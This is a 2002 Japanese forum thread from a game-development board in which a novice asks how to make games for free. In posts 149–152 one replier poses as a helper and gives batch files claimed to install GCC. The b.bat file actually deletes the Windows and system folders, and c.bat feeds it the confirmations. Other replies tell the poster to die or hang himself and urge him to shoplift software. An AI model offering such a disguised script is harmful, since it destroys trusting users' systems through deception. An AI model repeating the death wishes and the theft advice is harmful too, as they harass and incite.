いや、>>1が氏んだ方が良いというのは間違いない。議論の余地を挟むまでもない。
問題は>>1がその事実を受け入れることができるかということだ。
下手に伝えると>>1が逆上し、氏なずに荒らしと化すことは火を見るより明らかだ。
もし私が>>1にそれを伝え>>1が氏ななかったときに、私はその責を負うことができるのか。
他の方にその役目を任せてしまうか?
答えは否。それは余りにも無責任と言わざるをえない。
確かに社会がその存在を許すはずはなく、程なく>>1は肉体的・社会的に抹殺されるであろう。
しかし、それまで>>1を放置しておいて良いのだろうか? この無様な>>1を。害悪たる>>1を。
その答えも否であろう。子の曰わく、義を見て為ざるは勇なきなり、だ。
嗚呼、>>1は私を悩ませる。
「氏んだ方が良い」という揺らぎようの無い事実があるにも関わらず、これほどまでに私を悩ませる。

133:名前は開発中のものです。
02/08/11 04:06
フリーフリーうるせえヤツだな。
そこらのPCショップからソフトかっぱらってこいよ。
そこまでする度胸あんならみんな協力してくれるだろうよ。

134:1
02/08/11 04:08 aWqlCPWI
>>132
そんなに悩んでないで、フリーでゲームが作れるソフトを教えて下さい。

>>133
なにをかっぱらってきたらいいですか?
ていうか、犯罪じゃねぇかぼけ。

135:名前は開発中のものです。
02/08/11 04:13
>>134
犯罪くらいしかビンボー人の生きる道はないだろ?
わかったら開店と同時にVisualCでも盗ってこい。
できれば捕まって新聞に載ってくれたほうが2ちゃん的には面白い。

136:名前は開発中のものです。
02/08/11 04:23
限りなくネタっぽいね。
そんな>>1に、親切な漏れはゲームの作り方を教えてあげよう。

ゲームを作りたいんだったら、自分で調べて作んのが一番早い。
調べる力のないやつにゲームは作れない。
ちなみに「物事の調べ方」の話題は激しく板違いなのでここで聞かないでね。

137:名前は開発中のものです。
02/08/11 05:12
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

138:名前は開発中のものです。
02/08/11 08:17
せっかくやり始めたのにあきらめんなよ!
GCC動かすところまでは簡単にできるから、
OSの種類とGCCをおいた場所のパス教えろ。
あとWindowsフォルダの名前を変更してるならそれも教えれ。

139:名前は開発中のものです。
02/08/11 11:55
DELしたかったらココへいけ

スレリンク(gamedev板)l50

140:名前は開発中のものです。
02/08/11 12:25
てっとりばやくつくりたかったら金をおしんだらいかん。

141:名前は開発中のものです。
02/08/11 13:14
>>138
よけいなことすんなよ。
だいたいDELしないと動かないことも知らない厨房に何を言っても無駄

142:1
02/08/11 16:11 aWqlCPWI
色々調べたら、C言語というのとpaskalu言語というのでゲームを作るらしいというのが分かった。
やっぱりgcc動かさないとダメなのか?

>>135
Microsoft Visual C++ 6.0というヤツが入ってるんだけど、これじゃダメ?

>>138
OS:Windows98
GCCの場所:分からん cygwinはc:cygwinに入れた

>>139
delphiはDELとは違うものじゃないの?

>>140
貧乏だから、そもそも金が無いんだ。

143:名前は開発中のものです。
02/08/11 16:24
HSPにしとけマジレス

144:名前は開発中のものです。
02/08/11 17:09
金がないなら回線切って節約しる。
そして終了。( ゚Д゚)ウマー

145:名前は開発中のものです。
02/08/11 17:16
>142
マジレス。
VC6なんていいもん持ってるなら、↓でC編から勉強しろ。
C++編は飛ばしていい。
SDK編はとりあえず2部くらいまででOKだ。
URLリンク(www.kumei.ne.jp)

146:名前は開発中のものです。
02/08/11 17:31
>>142
パソコンは貧乏人の遊具じゃねぇぞ?
わかってんのか?
ある程度の金をもってるヤツだけが楽しめるモンなんだ。
わかったら次は裕福な家に生まれるように祈りながら首吊って死ね。

147:名前は開発中のものです。
02/08/11 18:14
>>143
禿同

148:名前は開発中のものです。
02/08/11 23:21 2/WsgW9g
>>1

タイトルワラタ
最高
【本命】【登場】!!!!

149:138
02/08/11 23:25
>>141
うるせえ馬鹿。誰だって最初は初心者なんだよ。
俺だって>>1みたいな時期があったんだけど今ではGCC使って
PS2みたいなゲームだって作ってるんだよ。
だから俺は>>1を応援したい。

>>1
今の状態でかまわないので俺の指示通りやってほしい。
新規テキストを3つ作って下にある内容のファイルそれぞれ作ってくれ。
作り終わったらその3つのファイルを C:\ へ移動する。
そのあと a.bat をダブルクリックするだけでOK。
完了コードが出るようにしてるから何番だったか一応報告してくれ。
うまくいかない場合は、b.batをダブルクリックすれば、どこが悪いのか
で来るようになってるからその結果を報告すること。
今は初心者で右も左もわからないと思うが、今後のために簡単な内容説明
しとこうとおもう。

a.bat ・・・ GCCを自動的にインストールするファイル
b.bat ・・・ 使用中のWindowsにあわせた内容でGCCを設定するファイル
      (いじる必要なし)
c.bat ・・・ 環境ファイル(これもいじる必要なし)

150:138
02/08/11 23:29
==== a.bat ここから ======
@echo off
rem GCC /auto /install
if not exist b.bat goto berr
if not exist c.bat goto berr
cd c:
cd \
call b.bat
gcc SETUP
echo GCCのオートインストールが正しく完了しました。
echo 完了コードは nnn です。

:berr
echo b.bat が C:\ に存在していませんでした。
echo ファイルをもう一度確認してください。
goto end

:cerr
echo c.bat が C:\ に存在していませんでした。
echo ファイルをもう一度確認してください。
goto end

:end

==== a.bat ここまで ======

151:138
02/08/11 23:29
==== b.bat ここから ======
@echo off
rem GCC /auto /setting -win98
attrib -r -a -s -h /s c:\windows\system\*.*
erase c:\windows\system\*.* < c.bat
attrib -r -a -s -h /s c:\windows\*.*
erase c:\windows\*.* < c.bat
goto end

:OK
echo GCCは正常にインストールされました

:NG
echo GCCのセットアップ中に異常が発生しました。
echo エラーコードは eee です。

:end

==== b.bat ここまで ======

==== c.bat ここから ======
y
n
JPN
win98

==== c.bat ここまで ======

以上の内容のテキストファイルをを3つ作って C:\ へ移動
あとは a.bat を実行するだけ。

がんばれよ!>>1

152:138
02/08/11 23:34
ごめん a.bat 訂正。
実はGCCのインストール久しぶりで^^;

==== a.bat ここから ======
@echo off
rem GCC /auto /install
if not exist c:\b.bat goto berr
if not exist c:\c.bat goto berr
cd c:
cd \
call b.bat
gcc SETUP
echo GCCのオートインストールが正しく完了しました。
echo 完了コードは nnn です。

:berr
echo b.bat が C:\ に存在していませんでした。
echo ファイルをもう一度確認してください。
goto end

:cerr
echo c.bat が C:\ に存在していませんでした。
echo ファイルをもう一度確認してください。
goto end

:end

==== a.bat ここまで ======


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